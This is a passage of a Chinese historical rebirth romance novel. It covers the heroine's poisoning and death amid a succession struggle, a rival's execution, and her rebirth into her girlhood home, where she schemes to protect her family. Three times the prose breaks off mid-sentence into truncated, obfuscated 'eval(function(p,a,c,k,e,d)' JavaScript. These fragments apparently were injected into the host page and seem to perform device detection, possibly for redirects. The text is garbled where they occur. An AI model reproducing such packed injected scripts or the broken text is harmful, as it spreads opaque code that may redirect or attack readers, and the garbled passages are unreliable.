谢宗焕并不知萧琚已带着伤，只认出了是琳琅，沈姳珠的陪嫁大丫鬟。 那个女人对身边之人甚好，这种守夜的事儿平素都不叫琳琅干。看来并非不叫，而是唯在特殊的时候才唤她守夜！ 砰—— 谢宗焕冷漠地拨开琳琅，一臂奋力揎开了门。 赫然便望见熟悉的芳香弥漫的寝屋里，浴缸滴溅，沈姳珠银红罩衣挂肩，衣襟凌乱低垂地贴在萧琚跟前，两人泪眼汪汪对诉的一幕。 听到萧琚那句：“今生无缘为夫妻，来世若有机会，我定不顾一切抓紧时机，绝不会再把你推给任何别人！” 谢宗焕灼燥的心只觉猛猛一沉。 揎门的力道带起一股冷风，将屋内女人的衣摆吹拂，看到她内里仅穿单薄的蚕丝睡裙。还有从堆叠的袖口中露出的一节雪白手腕，皓腕上浅朱色的玉镯在灯光下凝聚剔透光泽。 这只片刻不离身的玉镯，自成婚后便一直随着她，从未见她摘下来过。即便后来谢宗焕给她另买了许多精美首饰，她也继续钟情这一只。 尤记得刚成亲那会儿，每每夫妻俩在床帏里情浓旖旎之时，沈姳珠的手便向上攥着枕头，娇羞难抑地嘤咛摇曳。 她吃不消他的野烈，浸溺于其中，又渴想又煎熬。 是百媚千娇的贵女，十指未曾沾过阳春水，肌肤莹润如雪般香软柔腻，融进她就如同陷入了温柔乡，只恨不能更深更近，再难以自拔。 彼时谢宗焕低头托起她手腕，夸她真美。 沈明珠双眸迷离，含羞呢喃：“是手美还是镯子美？” 谢宗焕发自内心：“吾妻人美手美，镯子亦美。” 沈姳珠便得意解释：“那是自然，这枚镯子是旁人送我的，我自己也没想到竟送得如此合乎心意，仿若长在我身上一般好看。” 她泛红了脸颊，惹得谢宗焕越发汹涌地宠-弄她。那阵子他睁开眼闭上眼，全都是妻子动人的模样，跟着了魔怔般，心底抓挠并甜蜜着。 在不久之后的偶然间，他却从她姑母处听说，那浅朱色的玉镯，是昌平侯府世子萧琚为她打造的信物。 姑母坐亭子下，大约不晓得谢宗焕就在附近，说得分明直白：“唉，可惜可叹，多么有情有意的一对璧人，却被那寒门探花得了去。若是嫁了萧琚，我们姳珠可就能当侯夫人了，何至于同那谢姑爷挤在二进院子里，要甚没甚，还指着沈家帮扶。” 后来萧琚娶了她姑母的女儿，女儿与马夫私奔之后，姑母又常说：“对不住萧琚这般朗朗才俊，可惜那谢家锁着姳珠，若是能和离，改嫁与萧琚，我心中的遗憾与愧疚便也减轻了。” 这些年，谢宗焕晨兢夕厉，步步审慎，用自己的方式赚得屋宅高俸，现如今更要带她感受一人之下万人之上了。旁人能给她的情与物，他能给她更多。可她却与那旧情郎私会如此，甚至弄出腹中孽障来。 母亲今夜所言，贺喜他要当爹，只怕还以为他这个月偶有回府，与她怀上的骨肉吧？枉费老妇人空欢喜一场。 谢宗焕阴郁地展颜，磨齿道：“不会有机会了，今夜便是郎中大人的死期！” 话毕，几名士兵立刻快步上前，扯过萧琚的臂膀便要往门外拖。 沈姳珠刷地转过来望向这边，看到了谢宗焕。她眼里的男人，俨然变作杀气腾腾姿容卓绝的阎罗。 谢宗焕按捺住胸腔妒火，温柔低语：“夫人看清楚了，我才是你郎君。” 沈姳珠意识回恍过来，忽地讽刺道：“是啊，郎君倒还有脸回来见我。” 谢宗焕不动声色：“无颜见对方的，莫非夫人你。来人，把萧琚带走。” 士兵推搡萧琚出去，萧琚踉跄得又咳出了血，眷恋而无奈地凝视着姳珠妹妹。 沈姳珠摊开手臂上前一拦，昂起头怒含泪：“谢宗焕你利欲熏心，背信弃义，贪得无厌滥杀无辜！你灭了纪王的军队，连我最好的闺蜜都不肯放过，下一步是不是就连我沈家与姑母家，也要死在你的屠刀之下？今日你若是敢将萧大人押走，便从我身上踏过去！” 话说着，忽然只觉心窝里绞烧难忍，沈姳珠用手贴住腹中部，莫名容色刷白。 谢宗焕沉默地听她话毕，而后挥袖，命人该做照做。 他伸手攥住沈姳珠，拖至跟前道：“天下需要更英明的皇帝，纪王的人都必须死，而你不一样。待恒王登基，朝野一新，这些波折很快便会翻篇。你打掉腹中的孽种，断了与他人的念想，从此过往我便不计，仍是长相厮守的夫妻！” 后院正房里吵嚷声起，庄氏和谢芸香不放心地跟过来瞧，陆绣茹也抚着肚子小心翼翼随至。 乍看见姳珠房里竟然藏了萧大人，庄氏惊愕大呼：“哎哟这这成何体统，成何体统？儿媳堪为已婚之妇，怎敢藏外男在屋里，传出去谢家的脸面何在？莫怪我儿心狠，他是情理之中。” “对啊，若是纪王成事了，今夜杀的人便换成我哥，嫂嫂可愿如此替我哥求情？”谢芸香附议。心想经此一遭，嫂嫂理短，自己可把花厅里的那口嵌绿宝石鱼缸搬回家去了。 沈姳珠凝着谢宗焕冷隽的脸庞，睇见他余光瞥向自己的少腹，他莫非怀疑她怀了萧琚的骨肉？ 呵。 羞愤之心涌起，她甚至不稀罕解释，她看了看门外陆绣茹似笑非笑的模样，蓦然忿恨道：“郎君你休想，且看看你自己造就的‘好事’。怀了便是怀了，说什么都无用，我的心已经伤透死绝。” “几位王爷夺权，却将我父族下在监里关押数月，说穿了不过都是垂涎我家的财产。你若还想做个人，那么便跟我和离，恒王要的沈、褚家财富我可以给。但和离后，放萧琚、姑母和我家一块出京，不打扰你当朝中权臣。” 沈父是在赵王杀太子时就下监的，借口沈父身为鸿胪寺卿，却为先皇办丧礼不敬。后面各王叛乱，谁都没放他出来。 沈姳珠起初着急去信给谢宗焕，却未得他只言片语回复，那时只以为他被贬西北自顾不暇。却没想到，他不仅率军归京了，更还把她姑母家都用重兵把守起来。 谢宗焕看着她眼里的失望，扫了眼旁边一众将士，压低声音：“成亲多年， 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她迅速把今夜吃过的东西、喝过的茶水，用过的、洗过的，都在脑海中回忆了一遍。还有花厅里出来后衣裳上陌生的香味，当时只以为是屋里太闷，沾染了别人的熏香，也不知道是不是这个……又或者，是谢宗焕想要杀妻证道，好去旧迎新？ 唔……但来不及了，沈姳珠猛地从嘴里喷出一大口鲜血，栽倒过去。 “还说甚不嫁？嫁给我儿，你就等着当首辅夫人享福吧！”庄氏原本还在叉着腰指指点点，咚地白眼一翻吓晕了。 * 一场大雪断断续续地下了几天，将锦安京覆盖得一片皓白，雪过天晴，焕然如新。 在这三天里，恒王清除了纪王的余党，恒王到底念着兄弟手足情分，给纪王留了副全尸，赐了毒酒。 但是却把纪王的谋臣——昌平侯府世子萧琚，于午门前五马分尸了。 沈姳珠的魂魄飘在半空中看到的，是谢宗焕挥的行刑令箭。他端坐在午门高台之上，穿一身银白流云常服，风骨清俊，谨重严毅。何时看他都是出彩，却掩盖不住那骨子里的诡谲狠冽。 彼时萧琚本该毒入心髓、吐血而亡，但谢宗焕用极端汤药吊着他，没容他好死，而是摇摇晃晃地推上了刑场。 萧琚素来神采英拔的世家贵子，变得披头散发，形销瘠立。在被捆起时他仰头看天，沈姳珠险些以为他能看到自己，听不得那惨烈嘶叫声，她将将地转过身去。 七日后，谢宗焕为沈姳珠办了场隆重的丧礼。 他把沈家和姑母家都放了出来，父亲在狱中关押数月，看起来精神却是良好，只是听说她的死讯，伤心得卧在床上难起。 姑母则是拖着病体，让婆子搀扶打到谢府门上来，痛哭流涕地数落一通：“姳珠就我这一个姑母撑腰，我是她挚爱的长辈，她既去了，日后你若再对她娘家人不利，你叫她如何瞑目？” 骂到晕厥过去，让人抬回了府邸。 庄氏原本念念叨叨，说不然就给姳珠请个太医来瞧瞧，确定是否怀孕，没怀则在家中办丧礼，怀了的话太丢人，送回沈府去办。谢宗焕未让，并勒令谁也不许再提那天晚上之事，否则格杀勿论。 他的气场沉着，无人敢忤逆。 出殡那天，谢宗焕俊颜苍白，竟当着她的棺木，撩开袍服跪了一跪。 他说：“今无奈，痛与爱妻别离，锦翊离京数年，全仗姳珠端贤恭顺，在家掌管后宅，侍奉母上，照拂族人，唯叹吾久别难聚，愧欠她良多！” 魂魄大概没有眼泪，沈姳珠感觉自己似乎在笑。这也算他的一步城府之棋吧，赤忱相待，忠贞不渝，他的屠刀下死伤多少人，至少这般一来，可挽留不少声誉。 沈明珠觉得讽刺，绕在谢宗焕身边端详。 忽然落雪从空中飘下，谢宗焕盯着棺木，直觉似若有她在咫尺距离，忍不住郑重低语：“我从未想过灭你亲族，将他们下监只为了掩人耳目，在里面派人照顾。” 虚伪。沈姳珠无声怒怼他。 谢宗焕宽肩微颤，兀地举目抬头：“给你下毒之人我必揪出来，亲自千刀万剐。我从未有过旁的女人，只除了你沈姳珠。” 沈姳珠诧然他的熠熠目光，似没听清，眼前瞬时迎来光雾，将她冲淡开来。似如一缕轻风，从谢宗焕的耳畔掠过去了。 5. 第 5 章 未时初，锦安京鸿胪寺少卿沈府后院，太阳热辣辣的打照着凌烟湖，将青草味儿都晒得蒸发了。 今年这气候也是蹊跷得紧，乍暖乍寒的，年头大冬天还能听见打雷轰隆，眼下才刚入四月，竟已似端午闷热。 湖畔上三名奴才婢女紧盯着两支鱼竿，忽然听到一处咚地冒水泡，打前头的张顺连忙猛地抓杆而起，问道：“钓上了吗？钓上了吗？快看看！” 翠蕊和彩蝶循声望去，颓唐地摇了摇头，示意张顺自己瞧—— 一挂沉耷耷的水草，哪来什么鱼啊？ 这鱼们成精了。 张顺失落地看向草地上的遮阳花伞，又把鱼竿扔进了水里。 那精美的浮光锦花伞之下，支着一张紫檀嵌珐琅面的美人卧椅，旁边是矮短的雕花香几，用金边青釉牡丹纹果盘盛着樱桃、荔枝与点心，三小姐正在卧椅上闭着眼睛养神。 但见她云鬓雾鬟，珠簪宝钗，额头用一块薄纱轻轻掩着遮挡阳光，只露出往下的半个脸庞。 树荫绰绰的光线打照，女子肌肤冰莹雪澈，姣丽蛊媚，那媚中又带着不染俗世的娇淳。柔美身姿卧在花伞之下，很是一副绮丽的风景。 这便是他们沈家顶顶娇贵、讨人宠爱的三姑娘了。哪怕她此刻半遮面，也已然堪称京中佼佼的绝色。 可三小姐今日说要钓鱼，鱼哪是那么好钓的啊？从一早就来到湖边，只钓到两尾不够塞牙缝的树叶大的鱼仔，午后又继续钓，这都快守一个时辰了，还是没甚收获。 愁得奴婢们煞费脑筋。 正此时，一名家丁提着个竹篓子，站在那边的树下急招手。 救星来了！ 众目发光。 “小姐，小姐。”翠蕊小声地试探了两句，见三小姐似乎睡着了没反应，连忙推张顺过去。 张顺走到树下。 家丁从竹篓子里抓出两只鳜鱼，对他说道：“活的，上午你交代我去办，我便特意找了相熟的鱼贩子。瞧瞧现抓的，一只要价一百六十多文钱，我好说好歹，才把价压到了二百五十文两只。这已经算最便宜的了，谁让今岁开科放榜，到处都是吃鱼的主顾，尤其鲤鱼、鳜鱼这种带‘锦’、带‘贵’字涵义的，价炒高得离谱，给钱也未必抢到！” 朝廷科举本来每三年一届，四年前因皇太后薨逝，皇上大孝，遂命停了一届，轮到今年考生突增，录取名额自然增加不少。待会试结束，留下三四百名贡士在京都，这些贡士明日便要入宫参加殿试，谁都想图个‘跃龙门’的吉利，今天卖鱼的贩子赚翻了。 说得在理，但张顺还是心疼铜板，边接过来边数落两句：“可不就知道咱们沈府要买，价才讨得更高，谁叫三小姐急用呢。辛苦哥儿跑上一趟，拿去吃酒。” 额外又塞给家丁十文跑腿钱，寻思着该怎样找管家报销。 翠蕊和彩蝶连忙冲过来帮忙，趁着小姐未醒，把鱼挂上了湖里的两枚鱼钩。 奴婢们欢快地提起鱼竿大声叫道：“哎呀，钓起来了，钓起来了！功夫不负有心人，可算给咱真的钓到了两条大鱼！” 三小姐有午睡的习惯，垂钓这种活儿好生枯燥，小姐哪守得住，适才便在薄纱下闭起眼眸了。 琳琅站在卧椅旁边扇扇子，把奴婢们的操作尽收眼底，却也懒得置喙。等闲不过掏二百六十文给张顺，这和小姐的孝心比起来实在算不得什么。 起因是过些日子洛阳要开办牡丹节，小姐想随褚府的大表哥同去洛阳赏花。夫人不允许，说小姐已是待嫁之龄，怎能再莽撞的往外头去跑，她若爱赏牡丹，府上辟出一片园子，尽可以给她买来上百株名贵品种，再邀请京都贵女吃茶作诗，想何时欣赏便何时欣赏。 小姐只觉那氛围必定不一样，心痒难耐，软磨硬缠了好几天。 昨日傍晚散步经过凌烟湖，看到湖里有鱼儿跳跃，她便突然兴起，今早卯时爬起来，命人备上了鱼竿。 小姐说春花盛开时鱼肉最肥美，她要亲自钓两条大肥鱼，一条孝敬给夫人，好和母亲讨价还价；一条呢，便送给姑母郭家的表弟吃，吃了鱼再去赴殿试，讨个好彩头。 谁料钓了大半日没收获，湖边蚊子咬人疼，继续耗下去，没准明天小姐还得过来守着。 琳琅也就随意几个丫头糊弄去了，最重要的是让小姐开心，再哄得夫人老爷也欢喜。 “呵呵，小姐，你快看！我们钓上鱼来了！” 耳畔笑声响起，沈姳珠兀地一下睁开了眼睛。她好像睡过去许久，以至于都觉得谢宗焕那道熠熠的眸光已如隔世了。 面前光晕刺目，似有什么啪嗒啪嗒地摆来摆去，溅起几滴水珠子。微痛的触感从指尖袭来，躺麻了，沈姳珠意识到自己竟然有了实体。 她抓开覆额的薄纱，呐道：“这是什么，我不是死了么，这是在哪里？” 小姐元气满满，每逢一觉睡醒，哪怕只是短短的半时辰，也能双颊晕粉，樱唇娇红，令人倍觉艳丽夺目。 琳琅好笑道：“三小姐莫非睡迷糊了，我们正在湖边钓鱼呢。你瞧张顺他们仨钓到的两条鳜鱼，多肥呀，拿去孝敬夫人，若夫人被感动，便答应让你去洛阳了。” 沈姳珠适应视线，好一会儿，这才看清楚了，那摆来摆去溅水的原来是鱼尾巴。 而吃力抓着鱼的丫鬟奴才她也都认得，张顺后来和翠蕊搭伙过起日子，沈姳珠嫁入谢府后，将他们安排去了母亲送给自己的嫁妆——城外的庄子上，每隔一段时间便叫回府来点算账目。 彩蝶则被她家里讨要回去，听说配了人家。 可他们……沈姳珠看了看身旁扎着双螺髻的琳琅，琳琅青春时脸侧有几颗雀斑，后来被沈姳珠拿自己的玉雪露抹没了，怎现在那雀斑却活灵活现？ 他们全都才十多岁不到二十的模样。 而自己，她抬起鹅黄软烟罗刺绣掐花的衣袖，袖口露出少女莹嫩细长的手指。虽然她一世衣饰华绰，用度考究，可这般的肤骨俨然是和二十五岁不同的！ 沈姳珠心口钝钝地一搐，一股不明是悲是痛或是喜的复杂情绪涌出：难道是她重生回到之前了？ 只她早已心生百孔，学会了世俗世故，波动并不浮于表面。 沈姳珠环视了眼四周，很快便明白应该是的。眼前的这个凌烟湖，位于沈府后院 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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翠蕊和彩蝶他们手里抓着鱼，抓得滑溜乱晃的。前世沈姳珠睡着了，醒来发觉“钓到”大鱼，连忙让人提去母亲跟前献宝。 只她经历几年婚姻，惯与庄氏母女及那些三天两头找借口打秋风的亲族打交道，早已练就得心眼子颇多，俗不可耐。 看那两尾差不多个头的肥美鳜鱼，哪能是随便钓就钓到的，她猜着便知是从哪儿来的了。 沈姳珠按捺下激动的心情，迅速寻找着昔日自己的表象，嘱咐琳琅道：“钓鱼有功，给张顺三人赏二百五十钱，另荔枝两盘，把鱼一块拎去母亲跟前瞧瞧吧。” 即将要见到久违的亲人，女子从卧椅上站起，便拂裙往锦绣堂走去。 琳琅这就又诧异了，小姐从未逛过那腌臜杂乱的菜市，是怎么看出鱼从外面买回来的、价值多少呢？ 但见沈姳珠步履似急，琳琅紧忙随上前去。小姐几番推诿萧家世子的情意，看来夫人和姑夫人定要催促她相看夫婿了。 等殿试放榜，这回多半不是状元榜眼，就是探花，小姐多保重。 6. 第 6 章 锦绣堂里，沈府崔老夫人端坐在上首玉屏描金扶手椅上，轻吹着珐琅粉彩杯里的龙井茶。 这个月刚从褚家在杭州的茶庄运送过来的西湖龙井，特特等的新茶，色泽嫩绿光润，茶香馥郁甘醇。便是宫里的贡品，说句实在话都未必能有这等成色。 因着这一点，有时宫中大太监出来沈府传旨意，传完了都不直接走，就是想蹭上两杯茶喝喝。 崔老夫人发染白霜，但皮肤光洁，眼睛明亮，一看就是保养得十分怡然周到的。她不爱管事，家中老的小的，有啥事儿都让儿媳褚氏去张罗，乐得自己做个甩手掌柜。也不像有些严苛的婆婆，闲来总要挑一挑刺，好彰显出存在感。 侧座的扶手椅上，夫人褚氏垂眼端坐，姑夫人沈睦蔼手里拿着白瓷小碟，里面盛有药粉。旁边的李嬷嬷正用棉签给褚氏的额头涂膏露，然后再沾上一层药粉，不出几天就能淡掉痕迹了。 李嬷嬷原本是姑夫人沈睦蔼身边的二等丫鬟，干活麻利尽心尽力，却不识字。姑夫人沈睦蔼嫁去郭府后，觉得带过去不方便，就留下来给了嫂嫂褚氏使唤。 褚氏看着李嬷嬷贴切的动作，不由笑道：“妹妹留给我的人，却是可心顺意。” 又问起：“适才叫人去喊姳珠过来，怎的还不见到人？我特意将老夫人都请了过来，要同她当面说正事儿，莫非竟是躲着了，这娇气性姑娘。” 沈姳珠一路绕着抄手回廊，只见整个府邸富丽华贵，装饰锦簇，无论大面或细节无不透着考究与奢雅，这就是她的娘家了。不，是她自己本来的家。 前世她出嫁后，谢家琐碎繁多，不能随时回府陪伴双亲，后来母亲去世，她若回府来，便常去的是祖母崔老夫人的院里，少来母亲这边的锦绣堂了。 隔着门扇听见里头母亲话意里的嗔宠，那既熟悉又陌生了的音调，沈姳珠就觉得心弦抽痛，涌起一抹类似近乡情怯的波动。 沈姳珠在台阶前稍顿，调整心态迎上前去：“母亲莫催我，我刚才可干了件大事，这就过来请安了。” 她嘴角弯起，笑靥如桃花夭夭，对着屋里的长辈福了一礼。 上首的祖母持盏品茶，身体健朗；姑母略微的方脸形，喜梳三绺头，这样看着下巴滑润些；而母亲，身穿一袭对襟立领的织锦缎外衣，头发乌黑，面容雍雅慈爱，那般的真实呈现。 沈姳珠再是自我叮咛，忍不住眼泪仍溢了满眶。收起动作，便往褚氏的身旁靠坐过去。 “母亲额头怎么破了？可叫大夫瞧过，有无大碍？你去了这许久，我可想你们了。”她关切地问候，心知这“许久”到底有多久。 李嬷嬷收起膏药，把盘子端走。 褚氏生育晚，快三十了才生下一个女儿。她从怀上这胎开始，便孕吐体乏，中间险些滑胎，好容易白白嫩嫩的生下来，可把阖府上下的人心都疼化了，当做掌上明珠宠爱着。姳也，寓意姣好美貌；珠也，寓意珍贵明珠，取名亦如是。 姳珠打小就在沈府享受了足够多的安逸充裕，哪曾尝过什么苦头啊，竟然出个门的功夫回来，见到褚氏却眼泪泛滥成这般。 莫不是这几日不答应她去洛阳赏花，姑娘家家又使出了新的花招，企图磨得自己心软。 褚氏便揉揉女儿的肩膀，说道：“好端端的，怎么哭起来了？我与你姑母去栖霞寺祈福，在石阶上打了滑，磕到了额头，并不碍事。这刚从外面回府，你莫再同我装腔作势，现有正经的要事和你交谈。” 话说罢，推了推面前的一本册子。 沈姳珠瞥去一眼，就看穿是媒官手上常备的适龄男郎画像。 重生回来，再一次感受到了待嫁前被催婚的无奈感，她侧过脸庞对琳琅眨了眨眼睛。 她此刻对婚嫁当真没甚欲望，只想稍后回了房，坐下来先冷静梳理一番心绪。 琳琅会意，连忙在旁边岔开话题，解释道：“听说夫人与姑夫人今日去寺中祈福，小姐赶早就起来在湖边钓鱼了，说春花盛开时节鱼肉最补益。她钓上来两只，一只孝敬给夫人，一只送给姑夫人家的表公子，吃了鱼跃龙门，讨个吉利彩头。” 崔老夫人颇爱吃鱼，听到这话，便问道：“那又哭什么？我的娇姐儿，钓鱼便钓了，有甚烦心事惹得你哭呐。” 沈姳珠拭去眼泪，身边的感觉是贴切踏实的，让她的心亦安妥下来，她是真的重生了。 她解释道：“适才钓鱼时姳珠打了个盹儿，竟做了个梦，梦见我所嫁非人，起初和睦恩爱，不多久那人却野心勃勃，灭亲灭族。我从梦中惊醒，忍不住便伤感起来，生怕一不小心，真的离开母亲了。” 姑母沈睦蔼坐在一旁，望着姑娘泪眼漪漪的动人模样，那吹弹可破的雪白肌肤，莹嫩脖颈，珠光宝气。分明是官家贵女，却有着一股子嚣张骄慢的蛊媚劲儿。 旁人的媚或多或少有装演的成分，但姳珠的蛊媚却是天然的，许是连她自个儿都没意识到。其余不说，就那副盈满的娇胸与柳腰，谁人能长成这样。处处的出挑，惹得多少青年男儿郎为之倾倒。 若是自家的郭郦涵能有她哪怕五六分…… 沈睦蔼敛起心绪，宠爱地笑道：“瞧瞧咱家姳珠，我适才见你进来，还感慨仅仅几日未见，竟又漂亮了许多。再这么下去，你若不肯定下亲来，锦安京的公子们便不死心，总以为还有机会，拖累别家的千金亲事也难定。都说梦是相反的，我看你做伤心梦，将来嫁的郎君必然便是称心如意，将你捧在手心里疼着爱着的。有姑母为你把关，你大可放下心来！” 褚氏也展颜宽慰道：“正是，今日为你表兄的殿试祈福，顺便也替你算了一卦，说你姻缘在即，上半年成亲最佳有利。我看就不必去什么洛阳了，你褚家大表哥是去办生意的，搭上你同去，他还怎么放手做事？你最要紧是先把郎君相中了再说。” 对于女儿，褚氏肆无忌惮地娇生惯养着，并没打算让她品尝什么人间酸甜苦辣。她就甜甜蜜蜜的，当她的千金贵体，小时候爹娘宠护，日后再找个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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沈姳珠想了想，又继续说：“非也，真正有情有义的人，哪怕周围出现多少美若天仙的女子，都会不为所动。如果因为钟意的被人先挑走了，才去选择其他的，也不算多么值得托付。姑母还是先问问郦涵表姐，有无可心意的郎君，再来过问我的亲事好了。” 沈姳珠其实这样说，也因想起前世，郭郦涵与后院马厩的马夫私奔。私奔时留了封信在昌平侯府上，说她腹中还怀了骨肉，但并非萧琚的，成婚半年她假意病弱，未曾与萧琚同房。而是马夫的，必须为马夫生下来。 当时此事，驳尽了侯府与郭家的脸面，姑母为此还大病了一场。沈姳珠此时提醒姑母，是希望姑母能多关心关心表姐，及早避免事端。 沈睦蔼听得怅然，意外平日里心无挂虑的侄女，怎的伶牙俐齿学会了反驳自己。 一时唏嘘道：“好姑娘，这是长大了，姑母说不过你。来吧，且将你钓的两条鱼提过来，叫我们都瞧瞧有多肥。” 7. 第 7 章 两条鱼活蹦乱跳的，实在难拿捏，张顺刚才便用草绳将鱼嘴挂住，自己提了一条，彩蝶和翠蕊合力提另一条，走进堂屋里来。 褚氏和姑夫人沈睦蔼看过去，但见那鳜鱼个头饱满，鱼鳞新鲜发亮，鱼身得有近一尺长。 虽说沈府后院的凌烟湖确实水草丰盛、水质清澈，可就这几奴才的三脚猫功夫，褚氏不用猜都知道两条鱼怎么来的了。 必是趁着姳珠打盹儿，拿外头买回的鱼现成挂上的钩。 不过褚氏打量那张顺机灵的模样，心里却觉得他事情办得好，懂得为主子着想。 湖边蚊子毒，日头晒，褚氏自己也舍不得娇贵闺女为了钓两条鱼儿，耗时又费力。 褚氏便抿了口茶水：“这就是姳珠钓上来的肥鱼了？真叫鲜活，你们且将一条提去厨房灶上，晚膳做了吃。一条由睦蔼你提回郭府去，说是姳珠祝表弟金榜题名的心意。三个自去找管家领赏钱吧。” 张顺、翠蕊和彩蝶眼睛一亮，连忙施礼谢过夫人，将鱼提走了。 姑夫人沈睦蔼转过头来，说道：“难得姳珠一片热心，这礼我便替郭修收下了。说来今日与嫂嫂前去祈福，上台阶时嫂嫂磕了一下额头，我此刻想想，‘登磕’‘登磕’，念过来便是‘登科’之意，却也是吉兆。若郭修真能高中，我在郭家上下阖府面前，也算长了大体面。” 她说着，忽地一顿，连忙轻拍自己嘴巴尴尬道：“哟，瞧我这记性。嫂嫂褚家那边的二侄儿这次也参加殿试，我怎的只顾想着自家郭修，却忘了褚家的侄儿。怪我怪我，偏颇了！” 褚氏向来心宽和气，哪会把这等小事放在心上，宽慰她：“为母心切，睦蔼何必自责呢。你又岂能不知我那令白二侄儿，平素哪有个读书人的样子，远不及你家郭修用心钻研。也就是今岁开科选举的名额多了，才叫他蒙了个贡士，等到殿试时，可就不知道结果如何。就连我自家兄长都不放在心上，哪个能怪你忘记了？” 沈睦蔼赶忙谦虚：“话不可说绝对，咱们沈家、褚家、还有郭家，本来就是姻亲连带的一大家人。郭修确然从小聪颖敏学，今年十七岁就考中了会试，这次无论是他登科，亦或褚二侄儿登科，全都是大喜事一桩，都须得摆酒庆贺，莫要区分谁家谁家的。” 话说得众人都欢快笑起。 沈姳珠坐在一旁听着，忽地记起来了一件要紧事儿。 二表兄褚令白是褚家大舅父的次子，今年二十二了，和大表兄褚令知的沉稳如山、脚踏实地颇为不同。 褚令白却是个风流倜傥、锋芒毕露的角色，素日没见他把什么较真，总与一群三教九流的朋友流连于勾栏酒肆，喝酒吟诗，生意心不专，功名无兴趣。 去年底，褚令白却忽然郑重宣布，他要参加今春的会试了。然后匆匆忙忙复习了两个多月，便赴了考场，或许是今科增加了名额，或者被他运气好蒙对题，竟然考中了贡士。接下来，褚令白便也要参加殿试了。只是沈姳珠前世只当他在游戏考场，送鱼时便没想起要送他一份。 但那次殿试，褚令白不知何故却几乎交了白卷，还被人从保和殿考场给抬了出来。原本贡士考完殿试的，基本都能封进士，然而他因为白卷，皇帝认为不敬，遂剥去了进士之名，只给他一个空头贡士。 这件事在锦安京里被人们当成笑料议论了好长时间，而褚令白更加肆意买醉。 过了许久之后，沈姳珠才在偶然之下，听到褚令白酒后吐露真言。原来是他爱慕上了陶大学士府的嫡小姐，才去参加科考的，可惜在听他说出口时，陶家小姐早已经成亲嫁作了人妇。 后来褚令白在京中待得无趣，便跨上马四处游历去了，沈姳珠与这位二表兄的交际并不多。 但她这会儿望着被提走的两条鳜鱼，却忽然生出了一计。 沈家与褚家乃几代的世交，沈家从祖父辈开始走上了官途，而褚家则是从曾祖辈起就从事的织布纺纱生意，并且一步步做成了如今跨越绸缎、胭脂宫粉、田宅商铺和珠宝多个行业的大商贾。 父亲沈仁谦与母亲褚宝靓成亲时，还只是个户部的九品芝麻提举，但父亲做事恪尽职守、尽心尽力。若是提举司里暂时资金周转不便，父亲时常瞒着母亲往里垫钱。 他就是个全身心扑在差事上，务实肯干，先他人之忧而后己的性情。垫钱这类事被大使发现后，大使便有意抬举他。 逐渐同僚们也都发现了好处，同僚也乐得有个兜里有钱、办差不计较的老好人啊。而且只要沈仁谦在哪个司里当职，哪个司的困难一定是最少的，效率一定最高，嘉奖也一定最多。 于是这样一来，步步累积，父亲沈仁谦就做到了如今鸿胪寺少卿，后来又升为三品鸿胪寺卿。 皇帝更是乐意有个这样的臣子了，国库若紧张之时，有个能够自掏腰包往里头垫钱，还碍于脸面不好意思催债，这得是多难得的一个活宝。 有时鸿胪寺的拨账到得不及时，父亲便去问褚家舅父先挪挪，舅父虽是个商人却有他自己的见地，这种事情无有不应之。 长此以往，父亲这个官当得那是，上有皇帝满意，中有同僚支持，外有口碑称赞。他沈家以及后面的褚家财资巨富，还不怕他贪赃，可谓令人心悦诚服。 而褚家舅父呢，也因着父亲的关系，得到了颇好声誉，即便商贾之家，却在京中官贵圈里自在走动，门庭若市。 及至重生前，沈姳珠才蓦然发现，太平盛世之年，沈、褚两家确实过得优渥安逸，悠然自得。 但一旦到了诸王争权的动荡时候，却成了浑身都是宝的两条大肥鱼，谁上位都想吞吃掉它！就如同灶房里的砧板，把鱼拍上去，说剁就剁了，毫无还手之力。 沈姳珠眼前不由浮现起，她刚重生回来时，睁开眼睛看到的那一幕画面。噼里啪啦甩动的鱼尾巴，光滑又富有鳞刺，即便翠蕊他们把鱼钓上来了，它左右摇摆便挣脱到了地上，想要抓住它，须得费上九牛二虎之力，还得小心自个被鱼鳞划伤。 这一幕，或者便是对她重生回来的警示！ 沈、褚两家可以做肥鱼，可以人人觊觎想要得而分之，但绝不能再像前世那般安分守己、逆来顺受了。 需要变作那看似光滑好拿捏，实际却带着锋芒利刺的鱼，谁都想吃，谁都吃不着，吊着人胃口，谁上位都能巍然不动。 而这种改变，从现在开始便要筹谋起来。 前世谢宗焕能用三年多便扶持恒王夺权，以他的手段城府，留给自己两家的时间已经不算多了。 然沈姳珠在心里粗略把亲族过了一遍，竟然没有合适的人选。她父亲沈仁谦与庶兄，皆为稳妥夯实的角色；大表兄褚令知则一心钻营生意，四表弟褚令礼才十三岁。 能够胜任担负起官场应对角色的人，仔细想来，竟然却只有这位玩世不恭的二表兄——褚令白。 姑母的一番话，正好适时提醒了沈姳珠。 明日便是贡士们进宫赴考的日子，她要仔细回想，到底是何原因，让褚令白明明心系于陶小姐，却在考场上当着皇帝的面交了白卷，让人给抬出来。 这应当并非二表兄所愿。 沈姳珠须得想办法，阻止这件事的发生，好将二表兄留于京中调理事务！ * 已近申时，姑夫人沈睦蔼坐在扶手靠椅上，忍不住地频频昂起脖颈，往进院子的方向张望。 她在等待兄长沈仁谦的下职回府，想打听一下宫中现在布置的情况等琐碎。 每届科考前后，都是鸿胪寺最忙碌的光景，尤其这次殿试的考生比往届都要更多。提前安排人员引考生入场，布置 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 